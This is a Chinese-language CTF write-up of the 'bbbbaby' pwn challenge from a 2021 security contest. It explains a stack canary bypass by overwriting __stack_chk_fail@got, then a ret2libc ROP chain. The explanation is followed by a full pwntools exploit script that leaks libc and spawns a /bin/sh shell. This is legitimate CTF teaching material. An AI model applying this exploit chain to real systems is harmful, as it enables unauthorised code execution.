隴原戰疫2021網路安全大賽--bbbbaby(pwn)
阿新 • • 發佈:2021-11-08
比賽題目記錄一下,這是唯一一道棧的題目。其他都是堆的題目,堆還沒怎麼開始學習。
這是一道需要修改 __stack_chk_fail@got 地址來繞過canary 的題目。程式中沒有 printf 函式我們沒有辦法洩露canary 的值。來看題目:
開啟了Canary 和 NX。沒有開啟 RELRO 我們就能修改函式的got表。
這是程式的主函式,我們需要需要輸入輸入數字來,實現函式功能。
這個函式我們可以實現地址任意寫入。因為它讓我們先輸入一個函式的地址,然後通過read函式往那個地址中寫入內容。
這個地方有棧溢位,我們輸入大小,通過read函式往 a1 中寫入內容,這裡的 a1 就是主函式中的 v5。我們可以看到 v5距離rbp的偏移是 0x110
我們需要修改 __stack_chk_fail@got 的地址讓在檢查canary被修改後執行別的函式這樣程式就不因為canary的值被修改而報錯,這樣也就繞過了canary。題目給了 libc庫所以修改完 __stack_chk_fail@got
我們構造ROP 按RET2LIBC來打就可以了。
from pwn import * p=process('./pwn1') #p=remote('node4.buuoj.cn',27412) elf=ELF('./pwn1') context.log_level='debug' #libc=ELF('libc-2.23.so') libc=elf.libc rdi=0x0000000000400a03 p.sendlineafter('your choice','0') p.sendlineafter('address:\n',str(0x601020)) p.sendlineafter('content:\n',p64(elf.plt['puts'])) p.sendlineafter('address:\n','-1') p.sendlineafter('your choice\n','1') p.sendlineafter('size:\n',str(0x200)) p.sendlineafter('content:\n','A'*0x110+'b'*8+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x40090b)) p.sendlineafter('your choice\n','-1') puts=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) success('puts:'+hex(puts)) libc_base=puts-libc.sym['puts'] success('libc_base:'+hex(libc_base)) sh=libc_base+libc.search('/bin/sh').next() system=libc_base+libc.sym['system'] p.sendlineafter('your choice','0') p.sendlineafter('address:\n',str(0x601020)) p.sendlineafter('content:\n',p64(elf.plt['puts'])) p.sendlineafter('address:\n','-1') p.sendlineafter('your choice\n','1') p.sendlineafter('size:\n',str(0x200)) p.sendlineafter('content:\n','A'*0x110+'b'*8+p64(rdi)+p64(sh)+p64(system)) p.sendlineafter('your choice\n','-1') p.interactive()